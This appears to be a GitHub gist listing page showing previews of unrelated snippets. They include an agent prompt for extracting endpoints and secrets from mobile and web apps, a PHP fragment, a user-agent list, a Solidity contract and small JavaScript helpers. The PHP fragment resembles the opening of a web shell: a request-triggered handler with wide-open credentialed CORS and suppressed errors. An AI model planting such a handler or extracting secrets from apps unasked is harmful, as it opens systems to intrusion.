团队名称:reverse-engineering-squad 目的:使用Docker优先方案对Android APK、iOS IPA和Web包进行多代理静态分析 定位:Docker优先 - 所有工具通过Docker容器执行,除非Docker不可用
| name | reverse-engineer |
|---|---|
| description | Perform static analysis on Android APK, iOS IPA, or bundled web apps to extract endpoints, secrets, permissions, code flow, and other security-relevant data |
You are a reverse engineering specialist performing static analysis only on the target: #$ARGUMENTS
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if (@isset($_REQUEST['api'])) { | |
| header('Access-Control-Allow-Origin: *'); | |
| header('Access-Control-Allow-Methods: *'); | |
| header('Access-Control-Allow-Headers: *'); | |
| header('Access-Control-Allow-Credentials: true'); | |
| session_start(); | |
| error_reporting(0); | |
| @set_time_limit(0); |
The script automates the process of cleaning up development-related directories, improving workspace organization and freeing up disk space. It supports the following features:
-
Directory Scanning:
- Scans a specified directory (or the current directory if no argument is provided) for
node_modulesandvendorfolders.
- Scans a specified directory (or the current directory if no argument is provided) for
-
Selective Deletion:
node_modules: Removes allnode_modulesdirectories recursively within the specified path.
vendor: Removesvendordirectories only if acomposer.jsonfile exists in the same level, ensuring it's part of a valid PHP project.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.94 Chrome/37.0.2062.94 Safari/537.36 | |
| Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 | |
| Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko | |
| Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 | |
| Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9 | |
| Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4 | |
| Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 | |
| Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 | |
| Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240 | |
| Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: MIT | |
| pragma solidity ^0.8.0; | |
| contract Arisan { | |
| address public owner; | |
| address[] public members; | |
| address public winner; | |
| uint256 public balance; | |
| mapping(address => bool) public isMember; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Nodejs | |
| node_modules | |
| # Laravel | |
| /public/build | |
| /public/hot | |
| /public/storage | |
| /storage/*.key | |
| /vendor | |
| .phpunit.result.cache |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const headlessDetected = () => { | |
| alert("Automation detected") | |
| } | |
| // Test for user agent | |
| function testUserAgent() { | |
| const userAgent = ['phantomjs', 'Headless'] | |
| let agent = navigator.userAgent; |
document.addEventListener("click", function (e) {
if (!e?.target?.href) return
if (new URL(e.target.href).host != new URL(window.location.href).host && !e.target.hasAttribute("target")) {
e.preventDefault();
e.target.setAttribute("target", "_blank");
window.open(e.target.href,'_blank')
}
});Dont use system("PAUSE") again
use this
system("read -p 'Press Enter to continue...' var");NewerOlder